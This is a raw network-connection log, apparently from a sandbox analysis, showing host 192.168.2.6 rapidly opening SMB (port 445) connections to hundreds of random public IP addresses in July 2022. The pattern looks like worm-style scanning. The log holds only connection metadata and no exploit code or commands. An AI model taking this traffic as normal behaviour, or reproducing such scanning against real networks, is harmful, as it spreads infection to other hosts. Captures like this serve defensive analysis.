Jul 21, 2022 04:37:01.040785074 CEST	57417	445	192.168.2.6	160.68.65.25
Jul 21, 2022 04:37:01.040874004 CEST	57418	445	192.168.2.6	110.34.4.198
Jul 21, 2022 04:37:01.040920973 CEST	57419	445	192.168.2.6	208.83.190.172
Jul 21, 2022 04:37:01.216407061 CEST	445	57369	2.55.87.193	192.168.2.6
Jul 21, 2022 04:37:01.269754887 CEST	445	57419	208.83.190.172	192.168.2.6
Jul 21, 2022 04:37:01.367261887 CEST	57346	445	192.168.2.6	190.98.231.81
Jul 21, 2022 04:37:01.476632118 CEST	57385	445	192.168.2.6	46.18.230.241
Jul 21, 2022 04:37:01.513130903 CEST	445	57385	46.18.230.241	192.168.2.6
Jul 21, 2022 04:37:01.680619001 CEST	57434	445	192.168.2.6	190.98.231.82
Jul 21, 2022 04:37:01.726663113 CEST	57369	445	192.168.2.6	2.55.87.193
Jul 21, 2022 04:37:01.773555040 CEST	57419	445	192.168.2.6	208.83.190.172
Jul 21, 2022 04:37:01.808621883 CEST	57439	445	192.168.2.6	190.52.107.130
Jul 21, 2022 04:37:01.808861017 CEST	57440	445	192.168.2.6	7.128.218.105
Jul 21, 2022 04:37:01.808999062 CEST	57443	445	192.168.2.6	46.251.196.2
Jul 21, 2022 04:37:01.855421066 CEST	445	57369	2.55.87.193	192.168.2.6
Jul 21, 2022 04:37:01.870100021 CEST	57451	445	192.168.2.6	208.188.69.141
Jul 21, 2022 04:37:01.933796883 CEST	57457	445	192.168.2.6	214.136.46.32
Jul 21, 2022 04:37:01.938349962 CEST	57459	445	192.168.2.6	161.171.36.24
Jul 21, 2022 04:37:01.939389944 CEST	57460	445	192.168.2.6	72.8.224.208
Jul 21, 2022 04:37:01.939426899 CEST	57462	445	192.168.2.6	31.76.24.213
Jul 21, 2022 04:37:01.939636946 CEST	57463	445	192.168.2.6	36.150.13.35
Jul 21, 2022 04:37:01.939791918 CEST	57465	445	192.168.2.6	207.180.242.93
Jul 21, 2022 04:37:01.940236092 CEST	57461	445	192.168.2.6	176.18.141.32
Jul 21, 2022 04:37:01.960021973 CEST	445	57465	207.180.242.93	192.168.2.6
Jul 21, 2022 04:37:01.979530096 CEST	57468	445	192.168.2.6	28.116.224.67
Jul 21, 2022 04:37:01.980303049 CEST	57469	445	192.168.2.6	38.75.222.48
Jul 21, 2022 04:37:01.984575987 CEST	445	57419	208.83.190.172	192.168.2.6
Jul 21, 2022 04:37:02.025500059 CEST	57471	445	192.168.2.6	203.172.99.24
Jul 21, 2022 04:37:02.057339907 CEST	57474	445	192.168.2.6	118.211.120.125
Jul 21, 2022 04:37:02.060389042 CEST	57479	445	192.168.2.6	221.8.66.166
Jul 21, 2022 04:37:02.111728907 CEST	445	57460	72.8.224.208	192.168.2.6
Jul 21, 2022 04:37:02.119255066 CEST	57485	445	192.168.2.6	27.94.65.200
Jul 21, 2022 04:37:02.119308949 CEST	57486	445	192.168.2.6	34.64.31.52
Jul 21, 2022 04:37:02.138319969 CEST	57487	445	192.168.2.6	104.86.103.244
Jul 21, 2022 04:37:02.138523102 CEST	57491	445	192.168.2.6	143.13.14.234
Jul 21, 2022 04:37:02.138591051 CEST	57490	445	192.168.2.6	124.129.207.156
Jul 21, 2022 04:37:02.138696909 CEST	57492	445	192.168.2.6	151.252.221.219
Jul 21, 2022 04:37:02.138866901 CEST	57497	445	192.168.2.6	4.188.251.229
Jul 21, 2022 04:37:02.138953924 CEST	57499	445	192.168.2.6	49.231.200.14
Jul 21, 2022 04:37:02.150830984 CEST	57500	445	192.168.2.6	210.1.59.40
Jul 21, 2022 04:37:02.155345917 CEST	57502	445	192.168.2.6	163.169.143.60
Jul 21, 2022 04:37:02.156205893 CEST	57506	445	192.168.2.6	83.37.7.37
Jul 21, 2022 04:37:02.166295052 CEST	57507	445	192.168.2.6	28.200.9.250
Jul 21, 2022 04:37:02.166327953 CEST	57508	445	192.168.2.6	49.58.203.144
Jul 21, 2022 04:37:02.166527033 CEST	57510	445	192.168.2.6	35.224.178.154
Jul 21, 2022 04:37:02.476810932 CEST	57465	445	192.168.2.6	207.180.242.93
Jul 21, 2022 04:37:02.499783993 CEST	445	57465	207.180.242.93	192.168.2.6
Jul 21, 2022 04:37:02.617424011 CEST	57460	445	192.168.2.6	72.8.224.208
Jul 21, 2022 04:37:02.633080006 CEST	56557	445	192.168.2.6	77.129.24.2
Jul 21, 2022 04:37:02.743001938 CEST	57522	445	192.168.2.6	190.98.231.83
Jul 21, 2022 04:37:02.782139063 CEST	445	57460	72.8.224.208	192.168.2.6
Jul 21, 2022 04:37:02.947561026 CEST	57529	445	192.168.2.6	197.132.78.96
Jul 21, 2022 04:37:02.947707891 CEST	57531	445	192.168.2.6	56.83.24.113
Jul 21, 2022 04:37:02.947846889 CEST	57535	445	192.168.2.6	109.88.192.225
Jul 21, 2022 04:37:03.008764029 CEST	57540	445	192.168.2.6	207.180.242.94
Jul 21, 2022 04:37:03.040678978 CEST	57541	445	192.168.2.6	71.32.226.147
Jul 21, 2022 04:37:03.060743093 CEST	57548	445	192.168.2.6	42.139.90.240
Jul 21, 2022 04:37:03.060767889 CEST	57549	445	192.168.2.6	112.51.2.181
Jul 21, 2022 04:37:03.060885906 CEST	57552	445	192.168.2.6	44.41.1.162
Jul 21, 2022 04:37:03.060894012 CEST	57553	445	192.168.2.6	191.151.68.160
Jul 21, 2022 04:37:03.060991049 CEST	57554	445	192.168.2.6	56.166.46.18
Jul 21, 2022 04:37:03.061042070 CEST	57555	445	192.168.2.6	196.109.179.41
Jul 21, 2022 04:37:03.103527069 CEST	57559	445	192.168.2.6	79.200.40.172
Jul 21, 2022 04:37:03.104037046 CEST	57560	445	192.168.2.6	51.147.3.61
Jul 21, 2022 04:37:03.150213957 CEST	57562	445	192.168.2.6	73.71.145.252
Jul 21, 2022 04:37:03.169249058 CEST	57565	445	192.168.2.6	18.232.220.149
Jul 21, 2022 04:37:03.169296026 CEST	57568	445	192.168.2.6	112.185.122.246
Jul 21, 2022 04:37:03.248895884 CEST	57575	445	192.168.2.6	202.245.156.186
Jul 21, 2022 04:37:03.249376059 CEST	57578	445	192.168.2.6	189.24.94.159
Jul 21, 2022 04:37:03.249485970 CEST	57579	445	192.168.2.6	117.97.48.29
Jul 21, 2022 04:37:03.249524117 CEST	57580	445	192.168.2.6	95.115.60.222
Jul 21, 2022 04:37:03.249682903 CEST	57586	445	192.168.2.6	12.20.13.243
Jul 21, 2022 04:37:03.249705076 CEST	57587	445	192.168.2.6	97.20.97.179
Jul 21, 2022 04:37:03.249830961 CEST	57589	445	192.168.2.6	49.27.253.193
Jul 21, 2022 04:37:03.249881029 CEST	57590	445	192.168.2.6	69.157.207.160
Jul 21, 2022 04:37:03.259069920 CEST	57591	445	192.168.2.6	172.237.166.161
Jul 21, 2022 04:37:03.261090994 CEST	57595	445	192.168.2.6	105.36.122.96
Jul 21, 2022 04:37:03.262442112 CEST	57597	445	192.168.2.6	67.3.69.98
Jul 21, 2022 04:37:03.275202036 CEST	57598	445	192.168.2.6	205.233.90.145
Jul 21, 2022 04:37:03.275242090 CEST	57599	445	192.168.2.6	82.78.149.177
Jul 21, 2022 04:37:03.275386095 CEST	57601	445	192.168.2.6	213.171.34.213
Jul 21, 2022 04:37:03.806992054 CEST	57613	445	192.168.2.6	190.98.231.84
Jul 21, 2022 04:37:04.055851936 CEST	57620	445	192.168.2.6	63.138.252.224
Jul 21, 2022 04:37:04.056832075 CEST	57622	445	192.168.2.6	155.148.213.3
Jul 21, 2022 04:37:04.067337036 CEST	57626	445	192.168.2.6	96.111.87.67
Jul 21, 2022 04:37:04.080387115 CEST	57632	445	192.168.2.6	207.180.242.95
Jul 21, 2022 04:37:04.165184021 CEST	57633	445	192.168.2.6	84.162.14.85
Jul 21, 2022 04:37:04.181648970 CEST	57637	445	192.168.2.6	59.159.135.63
Jul 21, 2022 04:37:04.189594030 CEST	57638	445	192.168.2.6	46.146.205.212
Jul 21, 2022 04:37:04.191004038 CEST	57639	445	192.168.2.6	91.187.213.158
Jul 21, 2022 04:37:04.191210985 CEST	57646	445	192.168.2.6	88.55.54.83
Jul 21, 2022 04:37:04.191286087 CEST	57647	445	192.168.2.6	183.173.10.179
Jul 21, 2022 04:37:04.191350937 CEST	57648	445	192.168.2.6	108.152.10.11
Jul 21, 2022 04:37:04.213570118 CEST	57651	445	192.168.2.6	181.58.234.81
Jul 21, 2022 04:37:04.213610888 CEST	57652	445	192.168.2.6	85.68.156.214
Jul 21, 2022 04:37:04.274921894 CEST	57654	445	192.168.2.6	63.64.235.242
Jul 21, 2022 04:37:04.301342010 CEST	57658	445	192.168.2.6	84.186.111.245
Jul 21, 2022 04:37:04.373645067 CEST	57668	445	192.168.2.6	154.14.95.141
Jul 21, 2022 04:37:04.373989105 CEST	57669	445	192.168.2.6	42.151.75.199
Jul 21, 2022 04:37:04.374049902 CEST	57671	445	192.168.2.6	197.4.82.11
Jul 21, 2022 04:37:04.374237061 CEST	57675	445	192.168.2.6	223.76.177.248
Jul 21, 2022 04:37:04.374326944 CEST	57678	445	192.168.2.6	20.117.233.16
Jul 21, 2022 04:37:04.374448061 CEST	57679	445	192.168.2.6	105.37.28.51
Jul 21, 2022 04:37:04.374449015 CEST	57681	445	192.168.2.6	179.198.254.78
Jul 21, 2022 04:37:04.374494076 CEST	57682	445	192.168.2.6	97.69.200.42
Jul 21, 2022 04:37:04.383905888 CEST	57683	445	192.168.2.6	89.43.107.119
Jul 21, 2022 04:37:04.385088921 CEST	57685	445	192.168.2.6	207.183.166.206
Jul 21, 2022 04:37:04.387876034 CEST	57689	445	192.168.2.6	123.235.53.19
Jul 21, 2022 04:37:04.399626970 CEST	57690	445	192.168.2.6	37.102.120.205
Jul 21, 2022 04:37:04.400264025 CEST	57691	445	192.168.2.6	44.150.54.7
Jul 21, 2022 04:37:04.401288033 CEST	57693	445	192.168.2.6	59.151.41.80
Jul 21, 2022 04:37:04.410243034 CEST	445	57668	154.14.95.141	192.168.2.6
Jul 21, 2022 04:37:04.410614014 CEST	445	57683	89.43.107.119	192.168.2.6
Jul 21, 2022 04:37:04.883814096 CEST	57704	445	192.168.2.6	190.98.231.85
Jul 21, 2022 04:37:04.914426088 CEST	57668	445	192.168.2.6	154.14.95.141
Jul 21, 2022 04:37:04.914441109 CEST	57683	445	192.168.2.6	89.43.107.119
Jul 21, 2022 04:37:04.941539049 CEST	445	57683	89.43.107.119	192.168.2.6
Jul 21, 2022 04:37:04.949667931 CEST	445	57668	154.14.95.141	192.168.2.6
Jul 21, 2022 04:37:05.137166023 CEST	57712	445	192.168.2.6	207.180.242.96
Jul 21, 2022 04:37:05.188412905 CEST	57718	445	192.168.2.6	152.68.96.7
Jul 21, 2022 04:37:05.188568115 CEST	57724	445	192.168.2.6	169.34.138.246
Jul 21, 2022 04:37:05.197674036 CEST	57722	445	192.168.2.6	8.223.219.154
Jul 21, 2022 04:37:05.291754961 CEST	57725	445	192.168.2.6	30.74.55.115
Jul 21, 2022 04:37:05.311640978 CEST	57729	445	192.168.2.6	42.223.98.88
Jul 21, 2022 04:37:05.311657906 CEST	57730	445	192.168.2.6	15.140.156.238
Jul 21, 2022 04:37:05.311816931 CEST	57734	445	192.168.2.6	87.42.27.67
Jul 21, 2022 04:37:05.312036991 CEST	57738	445	192.168.2.6	194.184.195.32
Jul 21, 2022 04:37:05.312145948 CEST	57740	445	192.168.2.6	123.160.55.250
Jul 21, 2022 04:37:05.312154055 CEST	57739	445	192.168.2.6	101.163.71.102
Jul 21, 2022 04:37:05.338105917 CEST	57743	445	192.168.2.6	186.152.223.11
Jul 21, 2022 04:37:05.338666916 CEST	57744	445	192.168.2.6	69.213.37.241
Jul 21, 2022 04:37:05.404534101 CEST	57746	445	192.168.2.6	59.45.50.44
Jul 21, 2022 04:37:05.417098045 CEST	57747	445	192.168.2.6	17.108.105.84
Jul 21, 2022 04:37:05.417270899 CEST	57754	445	192.168.2.6	215.189.217.30
Jul 21, 2022 04:37:05.493259907 CEST	57759	445	192.168.2.6	213.140.20.203
Jul 21, 2022 04:37:05.509639025 CEST	57765	445	192.168.2.6	57.58.214.7
Jul 21, 2022 04:37:05.511436939 CEST	57766	445	192.168.2.6	13.243.43.163
Jul 21, 2022 04:37:05.511449099 CEST	57763	445	192.168.2.6	183.7.221.26
Jul 21, 2022 04:37:05.511485100 CEST	57769	445	192.168.2.6	156.16.119.68
Jul 21, 2022 04:37:05.511652946 CEST	57770	445	192.168.2.6	58.177.242.222
Jul 21, 2022 04:37:05.511822939 CEST	57776	445	192.168.2.6	194.103.57.241
Jul 21, 2022 04:37:05.511845112 CEST	57777	445	192.168.2.6	49.157.230.113
Jul 21, 2022 04:37:05.511940002 CEST	57778	445	192.168.2.6	70.212.221.203
Jul 21, 2022 04:37:05.512012959 CEST	57780	445	192.168.2.6	144.242.100.133
Jul 21, 2022 04:37:05.513638973 CEST	57781	445	192.168.2.6	161.216.139.141
Jul 21, 2022 04:37:05.514102936 CEST	57782	445	192.168.2.6	106.141.246.25
Jul 21, 2022 04:37:05.514143944 CEST	57783	445	192.168.2.6	7.22.205.65
Jul 21, 2022 04:37:05.514326096 CEST	57785	445	192.168.2.6	62.50.214.190
Jul 21, 2022 04:37:05.946310043 CEST	57797	445	192.168.2.6	190.98.231.86
Jul 21, 2022 04:37:06.196520090 CEST	57805	445	192.168.2.6	207.180.242.97
Jul 21, 2022 04:37:06.328423977 CEST	57811	445	192.168.2.6	25.72.213.239
Jul 21, 2022 04:37:06.328572989 CEST	57817	445	192.168.2.6	222.147.225.204
Jul 21, 2022 04:37:06.328613997 CEST	57816	445	192.168.2.6	179.58.217.42
Jul 21, 2022 04:37:06.401398897 CEST	57818	445	192.168.2.6	108.224.108.28
Jul 21, 2022 04:37:06.433166981 CEST	57822	445	192.168.2.6	47.182.163.204
Jul 21, 2022 04:37:06.467552900 CEST	57826	445	192.168.2.6	35.37.237.216
Jul 21, 2022 04:37:06.467643976 CEST	57827	445	192.168.2.6	3.99.20.190
Jul 21, 2022 04:37:06.468024015 CEST	57831	445	192.168.2.6	52.5.54.96
Jul 21, 2022 04:37:06.468077898 CEST	57832	445	192.168.2.6	130.66.237.166
Jul 21, 2022 04:37:06.468162060 CEST	57833	445	192.168.2.6	11.232.222.84
Jul 21, 2022 04:37:06.469566107 CEST	57836	445	192.168.2.6	91.187.205.55
Jul 21, 2022 04:37:06.469639063 CEST	57837	445	192.168.2.6	180.229.4.55
Jul 21, 2022 04:37:06.530234098 CEST	57842	445	192.168.2.6	122.24.211.158
Jul 21, 2022 04:37:06.530359030 CEST	57847	445	192.168.2.6	213.1.31.85
Jul 21, 2022 04:37:06.530390024 CEST	57845	445	192.168.2.6	164.66.211.157
Jul 21, 2022 04:37:06.602802038 CEST	57852	445	192.168.2.6	195.146.199.167
Jul 21, 2022 04:37:06.637456894 CEST	57856	445	192.168.2.6	130.239.196.188
Jul 21, 2022 04:37:06.638107061 CEST	57857	445	192.168.2.6	68.65.131.101
Jul 21, 2022 04:37:06.638607979 CEST	57858	445	192.168.2.6	38.229.53.8
Jul 21, 2022 04:37:06.639097929 CEST	57859	445	192.168.2.6	141.120.146.109
Jul 21, 2022 04:37:06.640491962 CEST	57862	445	192.168.2.6	126.86.98.65
Jul 21, 2022 04:37:06.641000986 CEST	57863	445	192.168.2.6	160.21.211.191
Jul 21, 2022 04:37:06.643260002 CEST	57868	445	192.168.2.6	37.173.246.26
Jul 21, 2022 04:37:06.643731117 CEST	57869	445	192.168.2.6	135.157.156.197
Jul 21, 2022 04:37:06.644685984 CEST	57871	445	192.168.2.6	121.232.57.144
Jul 21, 2022 04:37:06.645181894 CEST	57872	445	192.168.2.6	105.107.149.137
Jul 21, 2022 04:37:06.646173954 CEST	57874	445	192.168.2.6	48.242.49.24
Jul 21, 2022 04:37:06.646704912 CEST	57875	445	192.168.2.6	133.86.184.90
Jul 21, 2022 04:37:06.647196054 CEST	57876	445	192.168.2.6	221.246.75.96
Jul 21, 2022 04:37:07.026587963 CEST	57890	445	192.168.2.6	190.98.231.87
Jul 21, 2022 04:37:07.280651093 CEST	445	57890	190.98.231.87	192.168.2.6
Jul 21, 2022 04:37:07.281204939 CEST	57890	445	192.168.2.6	190.98.231.87
Jul 21, 2022 04:37:07.283675909 CEST	57890	445	192.168.2.6	190.98.231.87
Jul 21, 2022 04:37:07.284868002 CEST	57898	445	192.168.2.6	207.180.242.98
Jul 21, 2022 04:37:07.286783934 CEST	57899	445	192.168.2.6	190.98.231.87
Jul 21, 2022 04:37:07.308463097 CEST	445	57898	207.180.242.98	192.168.2.6
Jul 21, 2022 04:37:07.450793028 CEST	57908	445	192.168.2.6	73.7.244.133
Jul 21, 2022 04:37:07.452358007 CEST	57910	445	192.168.2.6	26.223.36.243
Jul 21, 2022 04:37:07.453195095 CEST	57911	445	192.168.2.6	170.250.28.124
Jul 21, 2022 04:37:07.515553951 CEST	445	57899	190.98.231.87	192.168.2.6
Jul 21, 2022 04:37:07.515671968 CEST	57899	445	192.168.2.6	190.98.231.87
Jul 21, 2022 04:37:07.515847921 CEST	57899	445	192.168.2.6	190.98.231.87
Jul 21, 2022 04:37:07.525988102 CEST	57913	445	192.168.2.6	29.76.15.16
Jul 21, 2022 04:37:07.549180031 CEST	445	57890	190.98.231.87	192.168.2.6
Jul 21, 2022 04:37:07.549212933 CEST	445	57890	190.98.231.87	192.168.2.6
Jul 21, 2022 04:37:07.556724072 CEST	57915	445	192.168.2.6	128.13.70.144
Jul 21, 2022 04:37:07.576131105 CEST	57920	445	192.168.2.6	199.34.203.226
Jul 21, 2022 04:37:07.576992035 CEST	57921	445	192.168.2.6	94.8.69.213
Jul 21, 2022 04:37:07.594316006 CEST	57925	445	192.168.2.6	7.67.56.200
Jul 21, 2022 04:37:07.594398975 CEST	57926	445	192.168.2.6	4.201.109.212
Jul 21, 2022 04:37:07.594484091 CEST	57927	445	192.168.2.6	13.20.252.85
Jul 21, 2022 04:37:07.594624043 CEST	57930	445	192.168.2.6	65.50.176.224
Jul 21, 2022 04:37:07.594697952 CEST	57931	445	192.168.2.6	208.226.155.233
Jul 21, 2022 04:37:07.660845995 CEST	57938	445	192.168.2.6	132.188.106.198
Jul 21, 2022 04:37:07.661004066 CEST	57941	445	192.168.2.6	105.200.91.46
Jul 21, 2022 04:37:07.661046982 CEST	57940	445	192.168.2.6	153.52.113.27
Jul 21, 2022 04:37:07.733555079 CEST	57946	445	192.168.2.6	104.235.117.227
Jul 21, 2022 04:37:07.745099068 CEST	445	57899	190.98.231.87	192.168.2.6
Jul 21, 2022 04:37:07.760350943 CEST	57951	445	192.168.2.6	83.146.36.108
Jul 21, 2022 04:37:07.760838032 CEST	57952	445	192.168.2.6	57.208.239.125
Jul 21, 2022 04:37:07.761346102 CEST	57953	445	192.168.2.6	144.175.5.174
Jul 21, 2022 04:37:07.766709089 CEST	57955	445	192.168.2.6	60.192.141.112
Jul 21, 2022 04:37:07.768799067 CEST	57956	445	192.168.2.6	20.96.153.43
Jul 21, 2022 04:37:07.768929958 CEST	57958	445	192.168.2.6	26.88.204.102
Jul 21, 2022 04:37:07.768930912 CEST	57959	445	192.168.2.6	1.121.20.141
Jul 21, 2022 04:37:07.769155979 CEST	57964	445	192.168.2.6	175.127.162.118
Jul 21, 2022 04:37:07.769207954 CEST	57965	445	192.168.2.6	17.10.239.121
Jul 21, 2022 04:37:07.769296885 CEST	57968	445	192.168.2.6	142.220.223.124
Jul 21, 2022 04:37:07.769339085 CEST	57969	445	192.168.2.6	193.31.38.47
Jul 21, 2022 04:37:07.769403934 CEST	57970	445	192.168.2.6	94.185.127.244
Jul 21, 2022 04:37:07.769444942 CEST	57971	445	192.168.2.6	21.41.217.232
Jul 21, 2022 04:37:07.820950985 CEST	57898	445	192.168.2.6	207.180.242.98
Jul 21, 2022 04:37:07.843604088 CEST	445	57898	207.180.242.98	192.168.2.6
Jul 21, 2022 04:37:08.337373972 CEST	57986	445	192.168.2.6	207.180.242.99
Jul 21, 2022 04:37:08.361738920 CEST	445	57986	207.180.242.99	192.168.2.6
Jul 21, 2022 04:37:08.561500072 CEST	58001	445	192.168.2.6	24.157.94.168
Jul 21, 2022 04:37:08.562470913 CEST	58003	445	192.168.2.6	201.185.117.126
Jul 21, 2022 04:37:08.562954903 CEST	58004	445	192.168.2.6	14.102.31.200
Jul 21, 2022 04:37:08.634668112 CEST	58005	445	192.168.2.6	209.187.26.210
Jul 21, 2022 04:37:08.682785988 CEST	58011	445	192.168.2.6	149.81.150.152
Jul 21, 2022 04:37:08.683248997 CEST	58012	445	192.168.2.6	151.39.130.2
Jul 21, 2022 04:37:08.684238911 CEST	58014	445	192.168.2.6	6.44.251.109
Jul 21, 2022 04:37:08.716494083 CEST	58018	445	192.168.2.6	80.114.249.72
Jul 21, 2022 04:37:08.717000008 CEST	58019	445	192.168.2.6	167.121.2.104
Jul 21, 2022 04:37:08.717502117 CEST	58020	445	192.168.2.6	55.0.213.92
Jul 21, 2022 04:37:08.724010944 CEST	58023	445	192.168.2.6	122.31.200.180
Jul 21, 2022 04:37:08.724473953 CEST	58024	445	192.168.2.6	120.125.17.122
Jul 21, 2022 04:37:08.775144100 CEST	58026	445	192.168.2.6	180.47.195.51
Jul 21, 2022 04:37:08.778386116 CEST	58031	445	192.168.2.6	189.41.140.209
Jul 21, 2022 04:37:08.784231901 CEST	58034	445	192.168.2.6	154.22.253.18
Jul 21, 2022 04:37:08.853188038 CEST	58039	445	192.168.2.6	144.56.231.30
Jul 21, 2022 04:37:08.867974997 CEST	57986	445	192.168.2.6	207.180.242.99
Jul 21, 2022 04:37:08.875677109 CEST	58044	445	192.168.2.6	64.28.138.16
Jul 21, 2022 04:37:08.875699997 CEST	58045	445	192.168.2.6	120.211.49.149
Jul 21, 2022 04:37:08.875849962 CEST	58046	445	192.168.2.6	32.4.160.8
Jul 21, 2022 04:37:08.875920057 CEST	58048	445	192.168.2.6	160.87.136.117
Jul 21, 2022 04:37:08.875974894 CEST	58049	445	192.168.2.6	90.20.197.142
Jul 21, 2022 04:37:08.876147985 CEST	58051	445	192.168.2.6	202.226.14.70
Jul 21, 2022 04:37:08.876169920 CEST	58052	445	192.168.2.6	152.180.44.234
Jul 21, 2022 04:37:08.876342058 CEST	58056	445	192.168.2.6	41.132.212.121
Jul 21, 2022 04:37:08.876389980 CEST	58058	445	192.168.2.6	157.27.219.1
Jul 21, 2022 04:37:08.876509905 CEST	58061	445	192.168.2.6	201.128.113.223
Jul 21, 2022 04:37:08.876555920 CEST	58062	445	192.168.2.6	3.131.7.131
Jul 21, 2022 04:37:08.876691103 CEST	58063	445	192.168.2.6	212.252.45.209
Jul 21, 2022 04:37:08.876717091 CEST	58064	445	192.168.2.6	59.163.166.100
Jul 21, 2022 04:37:08.891287088 CEST	445	57986	207.180.242.99	192.168.2.6
Jul 21, 2022 04:37:08.958328962 CEST	445	58034	154.22.253.18	192.168.2.6
Jul 21, 2022 04:37:09.080137014 CEST	445	58026	180.47.195.51	192.168.2.6
Jul 21, 2022 04:37:09.415482044 CEST	58079	445	192.168.2.6	207.180.242.100
Jul 21, 2022 04:37:09.444289923 CEST	445	58079	207.180.242.100	192.168.2.6
Jul 21, 2022 04:37:09.461683035 CEST	58034	445	192.168.2.6	154.22.253.18
Jul 21, 2022 04:37:09.555454016 CEST	56555	445	192.168.2.6	77.129.24.2
Jul 21, 2022 04:37:09.586716890 CEST	58026	445	192.168.2.6	180.47.195.51
Jul 21, 2022 04:37:09.635117054 CEST	445	58034	154.22.253.18	192.168.2.6
Jul 21, 2022 04:37:09.684473038 CEST	58087	445	192.168.2.6	60.121.235.133
Jul 21, 2022 04:37:09.684499979 CEST	58086	445	192.168.2.6	7.158.39.41
Jul 21, 2022 04:37:09.684703112 CEST	58089	445	192.168.2.6	223.34.71.162
Jul 21, 2022 04:37:09.759474039 CEST	58098	445	192.168.2.6	211.152.212.247
Jul 21, 2022 04:37:09.808811903 CEST	58102	445	192.168.2.6	217.129.76.151
Jul 21, 2022 04:37:09.809056044 CEST	58105	445	192.168.2.6	73.25.75.158
Jul 21, 2022 04:37:09.809082031 CEST	58104	445	192.168.2.6	52.209.58.124
Jul 21, 2022 04:37:09.838524103 CEST	58111	445	192.168.2.6	215.75.174.225
Jul 21, 2022 04:37:09.839206934 CEST	58112	445	192.168.2.6	223.152.245.89
Jul 21, 2022 04:37:09.839817047 CEST	58113	445	192.168.2.6	18.146.58.107
Jul 21, 2022 04:37:09.841815948 CEST	58116	445	192.168.2.6	93.211.156.12
Jul 21, 2022 04:37:09.841902018 CEST	58117	445	192.168.2.6	151.194.168.113
Jul 21, 2022 04:37:09.893415928 CEST	445	58026	180.47.195.51	192.168.2.6
Jul 21, 2022 04:37:09.920692921 CEST	58124	445	192.168.2.6	190.217.210.63
Jul 21, 2022 04:37:09.920783043 CEST	58128	445	192.168.2.6	38.204.223.148
Jul 21, 2022 04:37:09.920831919 CEST	58129	445	192.168.2.6	74.56.228.208
Jul 21, 2022 04:37:09.946120024 CEST	58079	445	192.168.2.6	207.180.242.100
Jul 21, 2022 04:37:09.978286982 CEST	58133	445	192.168.2.6	65.47.204.38
Jul 21, 2022 04:37:09.982489109 CEST	445	58079	207.180.242.100	192.168.2.6
Jul 21, 2022 04:37:09.982966900 CEST	445	58087	60.121.235.133	192.168.2.6
Jul 21, 2022 04:37:09.994570017 CEST	58137	445	192.168.2.6	3.199.71.142
Jul 21, 2022 04:37:09.995096922 CEST	58138	445	192.168.2.6	169.150.213.36
Jul 21, 2022 04:37:09.996639967 CEST	58139	445	192.168.2.6	121.17.151.6
Jul 21, 2022 04:37:10.004079103 CEST	58140	445	192.168.2.6	61.238.44.230
Jul 21, 2022 04:37:10.005521059 CEST	58142	445	192.168.2.6	27.3.134.200
Jul 21, 2022 04:37:10.010824919 CEST	58143	445	192.168.2.6	153.197.4.38
Jul 21, 2022 04:37:10.011693954 CEST	58149	445	192.168.2.6	21.236.188.6
Jul 21, 2022 04:37:10.011729002 CEST	58148	445	192.168.2.6	190.111.101.247
Jul 21, 2022 04:37:10.011744976 CEST	58150	445	192.168.2.6	180.254.184.34
Jul 21, 2022 04:37:10.011925936 CEST	58153	445	192.168.2.6	82.106.58.1
Jul 21, 2022 04:37:10.012003899 CEST	58154	445	192.168.2.6	149.173.102.143
Jul 21, 2022 04:37:10.012018919 CEST	58155	445	192.168.2.6	188.135.187.133
Jul 21, 2022 04:37:10.012028933 CEST	58156	445	192.168.2.6	167.205.204.97
Jul 21, 2022 04:37:10.230564117 CEST	445	58150	180.254.184.34	192.168.2.6
Jul 21, 2022 04:37:10.493092060 CEST	58087	445	192.168.2.6	60.121.235.133
Jul 21, 2022 04:37:10.493994951 CEST	58173	445	192.168.2.6	207.180.242.101
Jul 21, 2022 04:37:10.743184090 CEST	58150	445	192.168.2.6	180.254.184.34
Jul 21, 2022 04:37:10.760396004 CEST	58180	445	192.168.2.6	190.98.231.87
Jul 21, 2022 04:37:10.792359114 CEST	445	58087	60.121.235.133	192.168.2.6
Jul 21, 2022 04:37:10.806632996 CEST	58181	445	192.168.2.6	117.83.127.97
Jul 21, 2022 04:37:10.807151079 CEST	58182	445	192.168.2.6	32.34.233.246
Jul 21, 2022 04:37:10.807643890 CEST	58183	445	192.168.2.6	128.172.66.234
Jul 21, 2022 04:37:10.885149956 CEST	58194	445	192.168.2.6	10.118.204.196
Jul 21, 2022 04:37:10.933594942 CEST	58198	445	192.168.2.6	3.31.7.221
Jul 21, 2022 04:37:10.934202909 CEST	58199	445	192.168.2.6	106.254.53.244
Jul 21, 2022 04:37:10.935919046 CEST	58201	445	192.168.2.6	150.195.5.117
Jul 21, 2022 04:37:10.949942112 CEST	58204	445	192.168.2.6	145.175.90.52
Jul 21, 2022 04:37:10.950010061 CEST	58206	445	192.168.2.6	206.36.163.139
Jul 21, 2022 04:37:10.950119019 CEST	58209	445	192.168.2.6	96.63.206.230
Jul 21, 2022 04:37:10.950211048 CEST	58211	445	192.168.2.6	162.120.120.218
Jul 21, 2022 04:37:10.951147079 CEST	58212	445	192.168.2.6	213.91.123.131
Jul 21, 2022 04:37:10.962265015 CEST	445	58150	180.254.184.34	192.168.2.6
Jul 21, 2022 04:37:11.009429932 CEST	445	58180	190.98.231.87	192.168.2.6
Jul 21, 2022 04:37:11.010185957 CEST	58180	445	192.168.2.6	190.98.231.87
Jul 21, 2022 04:37:11.013154984 CEST	58180	445	192.168.2.6	190.98.231.87
Jul 21, 2022 04:37:11.071060896 CEST	58223	445	192.168.2.6	215.18.51.242
Jul 21, 2022 04:37:11.071124077 CEST	58221	445	192.168.2.6	75.220.71.132
Jul 21, 2022 04:37:11.071474075 CEST	58226	445	192.168.2.6	131.80.130.176
Jul 21, 2022 04:37:11.090837955 CEST	58230	445	192.168.2.6	109.203.63.158
Jul 21, 2022 04:37:11.119898081 CEST	58232	445	192.168.2.6	51.253.133.221
Jul 21, 2022 04:37:11.121915102 CEST	58234	445	192.168.2.6	91.64.58.176
Jul 21, 2022 04:37:11.124059916 CEST	58235	445	192.168.2.6	19.112.191.39
Jul 21, 2022 04:37:11.132608891 CEST	58236	445	192.168.2.6	184.223.254.108
Jul 21, 2022 04:37:11.133263111 CEST	58237	445	192.168.2.6	126.177.127.187
Jul 21, 2022 04:37:11.136049032 CEST	58239	445	192.168.2.6	101.168.202.231
Jul 21, 2022 04:37:11.136548996 CEST	58240	445	192.168.2.6	119.58.37.175
Jul 21, 2022 04:37:11.137053967 CEST	58241	445	192.168.2.6	68.215.15.252
Jul 21, 2022 04:37:11.137535095 CEST	58242	445	192.168.2.6	210.20.250.127
Jul 21, 2022 04:37:11.141047001 CEST	58244	445	192.168.2.6	129.251.2.150
